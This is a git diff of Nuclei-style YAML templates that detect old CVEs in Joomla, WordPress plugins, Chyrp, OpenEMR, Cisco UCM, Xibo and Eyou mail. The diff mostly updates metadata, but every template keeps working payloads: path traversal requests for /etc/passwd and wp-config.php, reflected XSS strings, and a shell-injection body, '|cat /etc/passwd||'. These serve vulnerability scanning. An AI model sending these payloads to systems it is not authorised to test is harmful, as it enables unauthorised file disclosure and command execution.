200 -# digest: 4a0a00473045022100adca58532f48eec11145f20a816e2aa545c62a81f3bf57af47b771e5e9a5ca0202202048fb4fe8a8318b6ec4d5706c032ae821c6d526e85c3704a047360ca3d831c8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/03/30 diff --git a/poc/cve/CVE-2010-5286.yaml b/poc/cve/CVE-2010-5286.yaml index 27d0f2ed1f..093ef94c27 100644 --- a/poc/cve/CVE-2010-5286.yaml +++ b/poc/cve/CVE-2010-5286.yaml @@ -1,5 +1,4 @@ id: CVE-2010-5286 - info: name: Joomla! Component Jstore - 'Controller' Local File Inclusion author: daffainfo @@ -8,25 +7,21 @@ info: reference: - https://www.exploit-db.com/exploits/34837 - https://www.cvedetails.com/cve/CVE-2010-5286 - - http://web.archive.org/web/20210123122507/https://www.securityfocus.com/bid/44053/ + - http://www.securityfocus.com/bid/44053 - http://packetstormsecurity.org/1010-exploits/joomlajstore-lfi.txt remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-5286 tags: cve,cve2010,joomla,lfi - requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 diff --git a/poc/cve/CVE-2011-1669.yaml b/poc/cve/CVE-2011-1669.yaml index 46632b8d84..709b2ef38d 100644 --- a/poc/cve/CVE-2011-1669.yaml +++ b/poc/cve/CVE-2011-1669.yaml @@ -3,36 +3,26 @@ id: CVE-2011-1669 info: name: WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI) author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1669 - https://www.exploit-db.com/exploits/17119 - - http://www.exploit-db.com/exploits/17119 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/66559 + - http://web.archive.org/web/20210121212348/https://www.securityfocus.com/bid/47146/ + - http://www.securityfocus.com/bid/47146 + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2011-1669 - cwe-id: CWE-22 - epss-score: 0.02966 - epss-percentile: 0.89797 - cpe: cpe:2.3:a:mikoviny:wp_custom_pages:0.5.0.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: mikoviny - product: wp_custom_pages - google-query: inurl:"/wp-content/plugins/wp-custom-pages/" - tags: edb,cve,cve2011,wordpress,wp-plugin,lfi + tags: cve,cve2011,wordpress,wp-plugin,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -41,4 +31,4 @@ http: status: - 200 -# digest: 4b0a00483046022100fd45e643586b43c813a7b127a6303ca99753e4a39a6b8f31ee1cf863b6adf4a8022100a317931fb03fda15f92725b85e18790fa92ecb1835a3c8a981ac3ddfa9c2fbb2:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/02/18 diff --git a/poc/cve/CVE-2011-2744.yaml b/poc/cve/CVE-2011-2744.yaml index c303e15090..d7d70097a3 100644 --- a/poc/cve/CVE-2011-2744.yaml +++ b/poc/cve/CVE-2011-2744.yaml @@ -1,5 +1,4 @@ id: CVE-2011-2744 - info: name: Chyrp 2.x - Local File Inclusion author: daffainfo @@ -13,19 +12,15 @@ info: classification: cve-id: CVE-2011-2744 tags: cve,cve2011,lfi,chyrp - requests: - method: GET path: - "{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00" - matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 diff --git a/poc/cve/CVE-2011-2780.yaml b/poc/cve/CVE-2011-2780.yaml index 85fe58b8b3..28591895f0 100644 --- a/poc/cve/CVE-2011-2780.yaml +++ b/poc/cve/CVE-2011-2780.yaml @@ -3,37 +3,31 @@ id: CVE-2011-2780 info: name: Chyrp 2.x - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - http://www.justanotherhacker.com/advisories/JAHx113.txt - http://www.openwall.com/lists/oss-security/2011/07/13/5 - http://www.ocert.org/advisories/ocert-2011-001.html - http://www.openwall.com/lists/oss-security/2011/07/13/6 + - http://web.archive.org/web/20210121214023/https://www.securityfocus.com/bid/48672/ + - http://secunia.com/advisories/45184 - http://securityreason.com/securityalert/8312 - https://exchange.xforce.ibmcloud.com/vulnerabilities/68565 + - http://web.archive.org/web/20201207104106/https://www.securityfocus.com/archive/1/518890/100/0/threaded + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2011-2780 - cwe-id: CWE-22 - epss-score: 0.03327 - epss-percentile: 0.90306 - cpe: cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: chyrp - product: chyrp tags: cve,cve2011,lfi,chyrp -http: +requests: - method: GET path: - "{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -41,4 +35,5 @@ http: - type: status status: - 200 -# digest: 490a00463044022019c1a5243a84358e80429f2dddbe5bb503ee30c61f53e70fc327e3e4399a3d290220084549cc85cd2d253b71b7112f48d09a31b336bf142ad64f639e3f2497443045:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/18 diff --git a/poc/cve/CVE-2011-4336.yaml b/poc/cve/CVE-2011-4336.yaml index 1fe124e5d4..21a86f350c 100644 --- a/poc/cve/CVE-2011-4336.yaml +++ b/poc/cve/CVE-2011-4336.yaml @@ -1,22 +1,29 @@ id: CVE-2011-4336 info: - name: Tiki Wiki CMS Groupware 7.0 has XSS + name: Tiki Wiki CMS Groupware 7.0 Cross-Site Scripting author: pikpikcu severity: medium - description: Tiki Wiki CMS Groupware 7.0 has XSS via the GET "ajax" parameter to snarf_ajax.php. + description: Tiki Wiki CMS Groupware 7.0 is vulnerable to cross-site scripting via the GET "ajax" parameter to snarf_ajax.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-4336 - - https://www.securityfocus.com/bid/48806/info - https://seclists.org/bugtraq/2011/Nov/140 - tags: cve,cve2011,xss,tikiwiki classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2011-4336 cwe-id: CWE-79 + epss-score: 0.00255 + epss-percentile: 0.63282 + cpe: cpe:2.3:a:tiki:tikiwiki_cms\/groupware:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: tiki + product: tikiwiki_cms\/groupware + tags: seclists,cve,cve2011,xss,tikiwiki -requests: +http: - method: GET path: - "{{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" @@ -24,15 +31,16 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - '' - part: body - - - type: status - status: - - 200 - type: word part: header words: - text/html + + - type: status + status: + - 200 +# digest: 490a00463044022059ec0a08bcac744c90d33b44d335262ece53ca16261011bc222e9a8dfc34a28102204760ca19a3bfcb00ecdb7f316b0da3bcda73cdd3c97cedd5152f61d859a142d3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2012-0896.yaml b/poc/cve/CVE-2012-0896.yaml index bda61c73ec..5f93420325 100644 --- a/poc/cve/CVE-2012-0896.yaml +++ b/poc/cve/CVE-2012-0896.yaml @@ -3,25 +3,38 @@ id: CVE-2012-0896 info: name: Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access author: daffainfo - severity: high + severity: medium description: An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter. + remediation: | + Upgrade to a patched version of the Count Per Day plugin (version 3.2 or above) or apply the vendor-supplied patch to fix the path traversal vulnerability. reference: - https://packetstormsecurity.com/files/108631/ - - https://www.cvedetails.com/cve/CVE-2012-0896 - - http://secunia.com/advisories/47529 - http://plugins.trac.wordpress.org/changeset/488883/count-per-day + - https://https://nvd.nist.gov/vuln/detail/CVE-2012-0896 + - http://wordpress.org/extend/plugins/count-per-day/changelog/ + - https://exchange.xforce.ibmcloud.com/vulnerabilities/72385 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2012-0896 - tags: cve,cve2012,lfi,wordpress,wp-plugin,traversal + cwe-id: CWE-22 + epss-score: 0.02262 + epss-percentile: 0.884 + cpe: cpe:2.3:a:count_per_day_project:count_per_day:2.2:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: count_per_day_project + product: count_per_day + google-query: inurl:"/wp-content/plugins/count-per-day" + tags: packetstorm,cve,cve2012,lfi,wordpress,wp-plugin,traversal -requests: +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -30,4 +43,4 @@ requests: status: - 200 -# Enhanced by mp on 2022/02/21 +# digest: 490a00463044022069e289200a4cdd68374572cc949c63c03c9fa10d036540bba574544089038d5f02202460f35b44864ab5a4b8182401cc8a6da15d90f4143a81e9c12f98831b9aeb66:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2012-0981.yaml b/poc/cve/CVE-2012-0981.yaml index eef133b20b..a25232e937 100644 --- a/poc/cve/CVE-2012-0981.yaml +++ b/poc/cve/CVE-2012-0981.yaml @@ -3,25 +3,36 @@ id: CVE-2012-0981 info: name: phpShowtime 2.0 - Directory Traversal author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php. + remediation: | + Upgrade to a patched version of phpShowtime or apply the necessary security patches to fix the directory traversal vulnerability. reference: - https://www.exploit-db.com/exploits/18435 - - https://www.cvedetails.com/cve/CVE-2012-0981 - - http://secunia.com/advisories/47802 + - https://nvd.nist.gov/vuln/detail/CVE-2012-0981 - http://www.exploit-db.com/exploits/18435 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/72824 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2012-0981 - tags: cve,cve2012,lfi,phpshowtime + cwe-id: CWE-22 + epss-score: 0.02053 + epss-percentile: 0.87754 + cpe: cpe:2.3:a:kybernetika:phpshowtime:2.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: kybernetika + product: phpshowtime + tags: phpshowtime,edb,cve,cve2012,lfi -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?r=i/../../../../../etc/passwd" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -29,5 +40,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/02/21 +# digest: 4b0a0048304602210086c4df4fdd3b049c7c8ab4a4a251629f85d8f62b74be2db00d04b272702e21f2022100fa0f3bcd2b86b9a029424b6752bb7134b10cebf5b358c41e82e24d82fddad109:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2012-0991.yaml b/poc/cve/CVE-2012-0991.yaml index dffe874afb..35255af754 100644 --- a/poc/cve/CVE-2012-0991.yaml +++ b/poc/cve/CVE-2012-0991.yaml @@ -3,36 +3,25 @@ id: CVE-2012-0991 info: name: OpenEMR 4.1 - Local File Inclusion author: daffainfo - severity: low + severity: high description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter. - remediation: | - Apply the latest security patches or upgrade to a newer version of OpenEMR. reference: - https://www.exploit-db.com/exploits/36650 - - https://nvd.nist.gov/vuln/detail/CVE-2012-0991 - - http://www.open-emr.org/wiki/index.php/OpenEMR_Patches - - https://exchange.xforce.ibmcloud.com/vulnerabilities/72914 + - https://www.cvedetails.com/cve/CVE-2012-0991 + - http://web.archive.org/web/20210121221715/https://www.securityfocus.com/bid/51788/ + - http://osvdb.org/78729 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:S/C:P/I:N/A:N - cvss-score: 3.5 cve-id: CVE-2012-0991 - cwe-id: CWE-22 - epss-score: 0.81788 - epss-percentile: 0.98059 - cpe: cpe:2.3:a:openemr:openemr:4.1.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: openemr - product: openemr - tags: lfi,openemr,traversal,edb,cve,cve2012 + tags: cve,cve2012,lfi,openemr,traversal -http: +requests: - method: GET path: - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -40,4 +29,5 @@ http: - type: status status: - 200 -# digest: 490a0046304402206bc7f9696521d8d23a744535ae219a58c190f618d8b0f3c22d2b9444e68a124102205023e1f85f2689c639f5ff422abfdb52b166c41f3ca31c18031263cff5a8c18e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/21 diff --git a/poc/cve/CVE-2012-4273.yaml b/poc/cve/CVE-2012-4273.yaml index 6d717be1d3..eec897c5e8 100644 --- a/poc/cve/CVE-2012-4273.yaml +++ b/poc/cve/CVE-2012-4273.yaml @@ -1,51 +1,33 @@ id: CVE-2012-4273 - info: - name: 2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting + name: 2 Click Socialmedia Buttons < 0.34 - Reflected Cross Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter. - remediation: | - Update to the latest version of the 2 Click Socialmedia Buttons plugin (0.34 or higher) to fix the XSS vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-4273 - http://plugins.trac.wordpress.org/changeset?old_path=%2F2-click-socialmedia-buttons&old=532798&new_path=%2F2-click-socialmedia-buttons&new=532798 - http://wordpress.org/extend/plugins/2-click-socialmedia-buttons/changelog/ - http://packetstormsecurity.org/files/112615/WordPress-2-Click-Socialmedia-Buttons-Cross-Site-Scripting.html - - https://exchange.xforce.ibmcloud.com/vulnerabilities/75518 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N - cvss-score: 4.3 cve-id: CVE-2012-4273 - cwe-id: CWE-79 - epss-score: 0.00252 - epss-percentile: 0.62989 - cpe: cpe:2.3:a:ppfeufer:2-click-social-media-buttons:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: ppfeufer - product: 2-click-social-media-buttons - google-query: inurl:"/wp-content/plugins/2-click-socialmedia-buttons" - tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm - -http: + tags: cve,cve2012,wordpress,xss,wp-plugin +requests: - method: GET path: - '{{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and matchers: - type: word - part: body words: - "" - + part: body - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 490a0046304402202ba7daa26a5fc43e928478cd0bb41f984b038554dfbb28f4890464f2d2957ac802201d20b2c66c1505867a2acb23a34256a7d8cc2faabc161373f2dc452c1260e110:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/21 diff --git a/poc/cve/CVE-2012-4547.yaml b/poc/cve/CVE-2012-4547.yaml index 91de9be6c3..ee2614893f 100644 --- a/poc/cve/CVE-2012-4547.yaml +++ b/poc/cve/CVE-2012-4547.yaml @@ -8,15 +8,31 @@ info: reference: - https://www.exploit-db.com/exploits/36164 - https://nvd.nist.gov/vuln/detail/CVE-2012-4547 - tags: cve,cve2020,xss,awstats + - http://awstats.sourceforge.net/docs/awstats_changelog.txt + - http://openwall.com/lists/oss-security/2012/10/29/7 + - http://openwall.com/lists/oss-security/2012/10/26/1 + classification: + cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N + cvss-score: 4.3 + cve-id: CVE-2012-4547 + cwe-id: CWE-79 + epss-score: 0.0023 + epss-percentile: 0.61082 + cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: laurent_destailleur + product: awstats + tags: cve,cve2012,xss,awstats,edb -requests: +http: - method: GET path: - '{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E' - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E' stop-at-first-match: true + matchers-condition: and matchers: - type: word @@ -31,4 +47,5 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 +# digest: 4a0a00473045022100f81d2621175d0d236cd626569a3cc5fcb2c595964c74bc49ea322c7e755a110002201ae2aa94416334037f8ed953af2bfb7c227c705e48fec3a79113cb522dc316e8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2013-3827.yaml b/poc/cve/CVE-2013-3827.yaml index 205e731391..c9217eb4c9 100644 --- a/poc/cve/CVE-2013-3827.yaml +++ b/poc/cve/CVE-2013-3827.yaml @@ -4,30 +4,13 @@ info: name: Javafaces LFI author: Random-Robbie severity: medium - description: An Unspecified vulnerability in the Oracle GlassFish Server component in Oracle Fusion Middleware 2.1.1, 3.0.1, and 3.1.2; the Oracle JDeveloper component in Oracle Fusion Middleware 11.1.2.3.0, 11.1.2.4.0, and 12.1.2.0.0; and the Oracle WebLogic Server component in Oracle Fusion Middleware 10.3.6.0 and 12.1.1 allows remote attackers to affect confidentiality via unknown vectors related to Java Server Faces or Web Container. - remediation: | - Apply the latest patches and updates for the affected software to fix the LFI vulnerability. + description: Unspecified vulnerability in the Oracle GlassFish Server component in Oracle Fusion Middleware 2.1.1, 3.0.1, and 3.1.2; the Oracle JDeveloper component in Oracle Fusion Middleware 11.1.2.3.0, 11.1.2.4.0, and 12.1.2.0.0; and the Oracle WebLogic Server component in Oracle Fusion Middleware 10.3.6.0 and 12.1.1 allows remote attackers to affect confidentiality via unknown vectors related to Java Server Faces or Web Container. + tags: cve,cve2013,lfi,javafaces,oracle reference: - https://nvd.nist.gov/vuln/detail/CVE-2013-3827 - https://www.exploit-db.com/exploits/38802 - - https://www.oracle.com/security-alerts/cpuoct2013.html - - http://www.oracle.com/technetwork/topics/security/cpuoct2013-1899837.html - - http://rhn.redhat.com/errata/RHSA-2014-0029.html - classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 - cve-id: CVE-2013-3827 - cwe-id: NVD-CWE-noinfo - epss-score: 0.67719 - epss-percentile: 0.97637 - cpe: cpe:2.3:a:oracle:fusion_middleware:2.1.1:*:*:*:*:*:*:* - metadata: - max-request: 10 - vendor: oracle - product: fusion_middleware - tags: edb,cve,cve2013,lfi,javafaces,oracle -http: +requests: - method: GET path: - "{{BaseURL}}/costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF" @@ -42,17 +25,15 @@ http: - "{{BaseURL}}/SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.." stop-at-first-match: true - matchers-condition: and matchers: - type: word - part: body words: - "" + part: body condition: and - type: status status: - - 200 -# digest: 490a00463044022025ecb9c64b86f727d987c8fe8dd626a168b614c34cc855ab17ddeea226191a31022029f39da59f83a203e51708859db0846b080c3a6a62d514d43c263cc834c7c0ae:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - 200 \ No newline at end of file diff --git a/poc/cve/CVE-2013-5528.yaml b/poc/cve/CVE-2013-5528.yaml index 054a82604c..7d9cb08ce8 100644 --- a/poc/cve/CVE-2013-5528.yaml +++ b/poc/cve/CVE-2013-5528.yaml @@ -3,25 +3,35 @@ id: CVE-2013-5528 info: name: Cisco Unified Communications Manager 7/8/9 - Directory Traversal author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815 + remediation: | + Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/40887 - https://nvd.nist.gov/vuln/detail/CVE-2014-3120 - http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-5528 - - http://web.archive.org/web/20210122130958/https://www.securityfocus.com/bid/62960/ classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:N/A:N + cvss-score: 4 cve-id: CVE-2013-5528 - tags: cve,cve2013,lfi,cisco + cwe-id: CWE-22 + epss-score: 0.00565 + epss-percentile: 0.75227 + cpe: cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: cisco + product: unified_communications_manager + tags: cve,cve2013,lfi,cisco,edb -requests: +http: - method: GET path: - "{{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -29,5 +39,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/02/24 +# digest: 4a0a00473045022100e40cf01d702727f203c87effa4494b88a1b47a9e12b757c887756f011c79ba39022026d9e052a5913633d04c92307373c167fceb68b9c4787dfe79720316c5a8000a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2013-5979.yaml b/poc/cve/CVE-2013-5979.yaml index 1149dd7311..836a96ec9e 100644 --- a/poc/cve/CVE-2013-5979.yaml +++ b/poc/cve/CVE-2013-5979.yaml @@ -1,28 +1,44 @@ id: CVE-2013-5979 + info: name: Xibo 1.2.2/1.4.1 - Directory Traversal author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in Spring Signage Xibo 1.2.x before 1.2.3 and 1.4.x before 1.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the p parameter to index.php. + remediation: | + Upgrade to a patched version of Xibo. reference: - https://www.exploit-db.com/exploits/26955 - https://nvd.nist.gov/vuln/detail/CVE-2013-5979 - - https://www.cvedetails.com/cve/CVE-2013-5979 - https://bugs.launchpad.net/xibo/+bug/1093967 + - http://www.baesystemsdetica.com.au/Research/Advisories/Xibo-Directory-Traversal-Vulnerability-(DS-2013-00 + - http://www.baesystemsdetica.com.au/Research/Advisories/Xibo-Directory-Traversal-Vulnerability-%28DS-2013-00 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2013-5979 - tags: cve,cve2013,lfi -requests: + cwe-id: CWE-22 + epss-score: 0.06969 + epss-percentile: 0.93239 + cpe: cpe:2.3:a:springsignage:xibo:1.2.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: springsignage + product: xibo + tags: cve,cve2013,lfi,edb + +http: - method: GET path: - "{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 - -# Enhanced by mp on 2022/02/24 +# digest: 490a0046304402204ab5d3f15225b07426ed6dd1577395b1728e6d79951c84e2186429fd31ffc3f7022049fb6aae0dfa1c8588b1a142f8090ec34a529db2387a98e606cef93a56b8928f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2013-7240.yaml b/poc/cve/CVE-2013-7240.yaml index f1d33f2a43..c817f7a100 100644 --- a/poc/cve/CVE-2013-7240.yaml +++ b/poc/cve/CVE-2013-7240.yaml @@ -1,36 +1,50 @@ id: CVE-2013-7240 + info: name: WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter. + remediation: | + Update to the latest version of the Advanced Dewplayer plugin or remove it if it is not actively used. reference: - https://www.exploit-db.com/exploits/38936 - https://nvd.nist.gov/vuln/detail/CVE-2013-7240 - https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/ - http://seclists.org/oss-sec/2013/q4/570 + - http://seclists.org/oss-sec/2013/q4/566 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2013-7240 cwe-id: CWE-22 - tags: cve,cve2013,wordpress,wp-plugin,lfi -requests: + epss-score: 0.23987 + epss-percentile: 0.96126 + cpe: cpe:2.3:a:westerndeal:advanced_dewplayer:1.2:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: westerndeal + product: advanced_dewplayer + google-query: inurl:"/wp-content/plugins/advanced-dewplayer/" + tags: wp-plugin,lfi,edb,seclists,cve,cve2013,wordpress + +http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php' + matchers-condition: and matchers: - type: word + part: body words: - "DB_NAME" - "DB_PASSWORD" - "DB_HOST" - "The base configurations of the WordPress" - part: body condition: and + - type: status status: - 200 - -# Enhanced by mp on 2022/02/24 +# digest: 4a0a00473045022003fbde35c84873598fcc4a0e096edcbd88b729b21b95c3cda42383e4832bbd56022100809a35e79e694fe5f91ab004c92b24a914ead823581da6aae2a824b7123745ce:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2014-1203.yaml b/poc/cve/CVE-2014-1203.yaml index 744b0ec237..913e32045e 100644 --- a/poc/cve/CVE-2014-1203.yaml +++ b/poc/cve/CVE-2014-1203.yaml @@ -1,9 +1,12 @@ id: CVE-2014-1203 + info: name: Eyou E-Mail <3.6 - Remote Code Execution author: pikpikcu severity: critical description: Eyou Mail System before 3.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to admin/domain/ip_login_set/d_ip_login_get.php via the get_login_ip_config_file function. + remediation: | + Upgrade to a patched version of Eyou E-Mail <3.6 or apply the necessary security patches. reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g - https://nvd.nist.gov/vuln/detail/CVE-2014-1203 @@ -13,8 +16,16 @@ info: cvss-score: 9.8 cve-id: CVE-2014-1203 cwe-id: CWE-77 - tags: rce,eyou -requests: + epss-score: 0.02045 + epss-percentile: 0.87728 + cpe: cpe:2.3:a:eyou:eyou:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: eyou + product: eyou + tags: seclists,rce,eyou + +http: - raw: - | POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1 @@ -22,14 +33,15 @@ requests: Content-Type: application/x-www-form-urlencoded type='|cat /etc/passwd||' + matchers-condition: and matchers: - type: regex + part: body regex: - "root:.*:0:0:" - part: body + - type: status status: - 200 - -# Enhanced by mp on 2022/06/01 +# digest: 490a00463044022053d12c348a221483a7a3d354dcd0f37cf0198da0b99487ac1c83147f2ecb0d0a022039d34a443cb35d077b9e070038aed29a706d02de7e0219dc16fe1860901ca564:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2014-2962.yaml b/poc/cve/CVE-2014-2962.yaml index 55347eb471..2456af7a2e 100644 --- a/poc/cve/CVE-2014-2962.yaml +++ b/poc/cve/CVE-2014-2962.yaml @@ -1,43 +1,25 @@ id: CVE-2014-2962 info: - name: Belkin N150 Router 1.00.08/1.00.09 - Path Traversal + name: Belkin N150 Router 1.00.08/1.00.09 - Directory Traversal author: daffainfo severity: high - description: A path traversal vulnerability in the webproc cgi module on the Belkin N150 F9K1009 v1 router with firmware before 1.00.08 allows remote attackers to read arbitrary files via a full pathname in the getpage parameter. - remediation: Ensure that appropriate firewall rules are in place to restrict access to port 80/tcp from external untrusted sources. - reference: - - https://www.kb.cert.org/vuls/id/774788 - - https://nvd.nist.gov/vuln/detail/CVE-2014-2962l - - http://www.kb.cert.org/vuls/id/774788 - - http://www.belkin.com/us/support-article?articleNum=109400 - - https://www.exploit-db.com/exploits/38488/ - classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N - cvss-score: 7.8 - cve-id: CVE-2014-2962 - cwe-id: CWE-22 - epss-score: 0.95825 - epss-percentile: 0.99281 - cpe: cpe:2.3:o:belkin:n150_f9k1009_firmware:*:*:*:*:*:*:*:* - metadata: - 